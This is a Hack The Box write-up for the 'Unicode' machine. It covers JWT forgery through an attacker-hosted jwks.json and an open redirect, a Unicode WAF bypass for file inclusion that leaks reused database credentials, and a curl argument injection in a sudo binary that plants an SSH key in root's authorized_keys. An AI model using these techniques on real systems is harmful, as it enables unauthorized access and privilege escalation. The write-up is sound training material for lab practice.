Hack The Box - Unicode

000_info_card

Unicode is a medium rated machine on HackTheBox created by wh0am1root. For the user part we will forge a JWT to get access to the admin panel. From the admin panel we will find a LFI vulnerability with which we can read database credentials that were reused as another user. Once on the machine this user can run a custom binary with sudo. We are able to abuse this using brace expansion in a curl command to write our public key to root’s authorized keys.

User

Nmap

As usual we start our enumeration with a nmap scan against all ports followed by a script and version detection scan against the open ones to get an initial overview of the attack surface.

All ports

1
2
3
4
5
6
7
8
9
10
$ sudo nmap -p- -T4 10.129.192.66
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-27 21:38 UTC
Nmap scan report for 10.129.192.66
Host is up (0.032s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 232.98 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ sudo nmap -n -p22,80 -sC -sV 10.129.192.66
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-27 21:58 UTC
Nmap scan report for 10.129.192.66
Host is up (0.027s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
|   256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_  256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Hackmedia
|_http-generator: Hugo 0.83.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.73 seconds

JWT Forge

There are only two ports open on the machine and 80 seems to be more promising so we will start there. Opening it up in our browser we see the Hackmedia landing page.

005_hackmedia_home

We are also able to register our own account which we do to check for additional functionality within the website.

010_view_register

Looking at our cookies we see that auth is handled by JWT tokens.

015_jwt_view

Taking a close look at the JWT we see that it pulls the public key from a jwks.json from the website. This means if we can redirect it to our own jwks.json we can forge our own jwt’s.

020_jwt_io

Looking at the source of the home page there is a convenient looking open redirect.

025_redirect_source

To forge our own tokens we need to generate a RSA public private key pair in a first step.

1
2
3
4
5
6
7
8
$ openssl genrsa -out keypair.pem 2048
Generating RSA private key, 2048 bit long modulus (2 primes)
...............................................................+++++
.................+++++
e is 65537 (0x010001)
$ openssl rsa -in keypair.pem -pubout -out publickey.crt
writing RSA key
$ openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Then we download the jwks.json from the target to see what format it expects.

1
2
3
4
5
6
7
8
9
10
11
$ wget http://hackmedia.htb/static/jwks.json
--2021-11-27 22:24:56--  http://hackmedia.htb/static/jwks.json
Resolving hackmedia.htb (hackmedia.htb)... 10.129.192.66
Connecting to hackmedia.htb (hackmedia.htb)|10.129.192.66|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 544 [application/json]
Saving to: ‘jwks.json’

jwks.json                                                  100%[========================================================================================================================================>]     544  --.-KB/s    in 0s

2021-11-27 22:24:56 (177 MB/s) - ‘jwks.json’ saved [544/544]

jwks.json

1
2
3
4
5
6
7
8
9
10
11
12
{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
            "e": "AQAB"
        }
    ]
}

Next we take the public key and bring it into a format we can use with pythons authlib module to generate a new n.

1
2
$ cat publickey.crt | sed -z "s/\n/\\n/g"
-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6w2+L6ASM9vpReZbaFJ7\nvtlmf0MtARmuUsbMQ1HM3ECvPO32A/+NuQkntICvLVRqMGos28P/98aN3FPhiPZ1\nL7UESZkKcaHnB8lC2yt2+9bzNARYyLa9Y37hSBxHbL0L2Li1FxkwU/qwteRK5UaU\nwwXjPUTlurFD4mHshDgQnzfmGSdXX36Wlak1m8MEqfG7FbQ8IcfbAjPocmJDospc\nYJ60TsduPsf+3X5R6PG7h0/tWdOf8PCJSRyPAOgaM2lXPP7pDsDI/a2GDiRO+E+W\nFmnZiZSkV+arNrzYHOLb3u0zJj62mC8+9oOahWc1P5newV3xzsuXiDUcd1bjSqV/\ndwIDAQAB\n-----END PUBLIC KEY-----\n

jwks.py

1
2
3
4
5
from authlib.jose import jwk

publick_key = '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6w2+L6ASM9vpReZbaFJ7\nvtlmf0MtARmuUsbMQ1HM3ECvPO32A/+NuQkntICvLVRqMGos28P/98aN3FPhiPZ1\nL7UESZkKcaHnB8lC2yt2+9bzNARYyLa9Y37hSBxHbL0L2Li1FxkwU/qwteRK5UaU\nwwXjPUTlurFD4mHshDgQnzfmGSdXX36Wlak1m8MEqfG7FbQ8IcfbAjPocmJDospc\nYJ60TsduPsf+3X5R6PG7h0/tWdOf8PCJSRyPAOgaM2lXPP7pDsDI/a2GDiRO+E+W\nFmnZiZSkV+arNrzYHOLb3u0zJj62mC8+9oOahWc1P5newV3xzsuXiDUcd1bjSqV/\ndwIDAQAB\n-----END PUBLIC KEY-----'

print(jwk.dumps(publick_key, kty='RSA'))

Running the script we get our new n which we replace in the jwks.json file.

1
2
$ python jwks.py
{'n': '6w2-L6ASM9vpReZbaFJ7vtlmf0MtARmuUsbMQ1HM3ECvPO32A_-NuQkntICvLVRqMGos28P_98aN3FPhiPZ1L7UESZkKcaHnB8lC2yt2-9bzNARYyLa9Y37hSBxHbL0L2Li1FxkwU_qwteRK5UaUwwXjPUTlurFD4mHshDgQnzfmGSdXX36Wlak1m8MEqfG7FbQ8IcfbAjPocmJDospcYJ60TsduPsf-3X5R6PG7h0_tWdOf8PCJSRyPAOgaM2lXPP7pDsDI_a2GDiRO-E-WFmnZiZSkV-arNrzYHOLb3u0zJj62mC8-9oOahWc1P5newV3xzsuXiDUcd1bjSqV_dw', 'e': 'AQAB', 'kty': 'RSA'}

jwks.json

1
2
3
4
5
6
7
8
9
10
11
12
{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "6w2-L6ASM9vpReZbaFJ7vtlmf0MtARmuUsbMQ1HM3ECvPO32A_-NuQkntICvLVRqMGos28P_98aN3FPhiPZ1L7UESZkKcaHnB8lC2yt2-9bzNARYyLa9Y37hSBxHbL0L2Li1FxkwU_qwteRK5UaUwwXjPUTlurFD4mHshDgQnzfmGSdXX36Wlak1m8MEqfG7FbQ8IcfbAjPocmJDospcYJ60TsduPsf-3X5R6PG7h0_tWdOf8PCJSRyPAOgaM2lXPP7pDsDI_a2GDiRO-E-WFmnZiZSkV-arNrzYHOLb3u0zJj62mC8-9oOahWc1P5newV3xzsuXiDUcd1bjSqV_dw",
            "e": "AQAB"
        }
    ]
}

Next we stand up a python webserver so the target can reach our jwks.json

1
2
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

With all pererations met we can now forge our own token using the key pair we generated, a redirect url pointing to our jwks.json and the new username of admin.

030_forge_jwt

Exchanging the cookie and refreshing the page the target retrieves our jwks.json and we are logged in as admin afterwards.

1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.192.66 - - [28/Nov/2021 09:11:05] "GET /jwks.json HTTP/1.1" 200 -

035_admin_dashboard

LFI

Looking at Last Quarter report we see it tries to load a pdf file.

040_quarterly_pdf

Bypassing the WAF with unicode we are able to include other files aswell.

045_lfi_poc

Checking the /etc/nginx/sites-available/default configuration file it contains two very interesting comments.

050_lfi_sites

1
2
#Change the Webroot from /home/code/coder/ to /var/www/html/
#change the user password from db.yaml

The db.yaml file is stil in the location mentioned and we can retrieve it.

055_lfi_dbcreds

1
2
3
4
mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"

With these credentials we are now able to log into the machine as the user code and grab the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ssh code@hackmedia.htb
code@hackmedia.htb's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 28 Nov 2021 09:23:23 AM UTC

  System load:  0.0               Processes:             319
  Usage of /:   83.7% of 3.87GB   Users logged in:       0
  Memory usage: 75%               IPv4 address for eth0: 10.129.192.66
  Swap usage:   0%


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Nov 28 09:19:47 2021 from 10.10.14.63
code@code:~$ wc -c user.txt
33 user.txt

Root

Brace expansion

Checking for sudo rights we see that code can run the custom looking binary /usr/bin/treport as root with no password.

1
2
3
4
5
6
code@code:~$ sudo -l
Matching Defaults entries for code on code:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User code may run the following commands on code:
    (root) NOPASSWD: /usr/bin/treport

Running the binary it displays multiple options.

1
2
3
4
5
6
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:

To test the 3.Download A Threat Report. functionality we first create a testfile and server it with a python server.

1
2
$ echo dhsanj > test
$ sudo python3 -m http.server 80

Retrieving it with treport we can see that curl is used to retrieve it and our argument is passed to it.

1
2
3
4
5
6
7
8
9
Enter your choice:3
Enter the IP/file_name:10.10.14.63/test
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0Warning: Failed to create the file /root/reports/threat_report_09_25_08: No
Warning: such file or directory
100     7  100     7    0     0    118      0 --:--:-- --:--:-- --:--:--   120
curl: (23) Failed writing body (0 != 7)
Enter your choice:
1
2
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.192.66 - - [28/Nov/2021 09:25:29] "GET /test HTTP/1.1" 200 -

This seems very interesting for command injection. First we need a file we want to write on the target system. A public ssh key into root’s authorized_keys seems like a good candidate.

1
2
3
4
5
6
7
$ ssh-keygen -f root
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root
Your public key has been saved in root.pub
The key fingerprint is:

We serve the public key again using python.

1
2
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Next we select the 3.Download A Threat Report. again. This time we use brace expansion to specify additional parameters to the curl command.

1
2
3
4
5
6
Enter your choice:3
Enter the IP/file_name:{10.10.14.63/root.pub,-o,/root/.ssh/authorized_keys}
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   565  100   565    0     0  10272      0 --:--:-- --:--:-- --:--:-- 10272
Enter your choice:

Our key get’s downloaded and we can ssh into the machine to grab the root flag

1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.192.66 - - [28/Nov/2021 09:28:47] "GET /root.pub HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ssh -i root root@hackmedia.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 28 Nov 2021 09:29:10 AM UTC

  System load:  0.0               Processes:             327
  Usage of /:   84.0% of 3.87GB   Users logged in:       1
  Memory usage: 76%               IPv4 address for eth0: 10.129.192.66
  Swap usage:   0%


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Nov 27 20:39:06 2021 from 10.10.14.63
root@code:~# wc -c root.txt
33 root.txt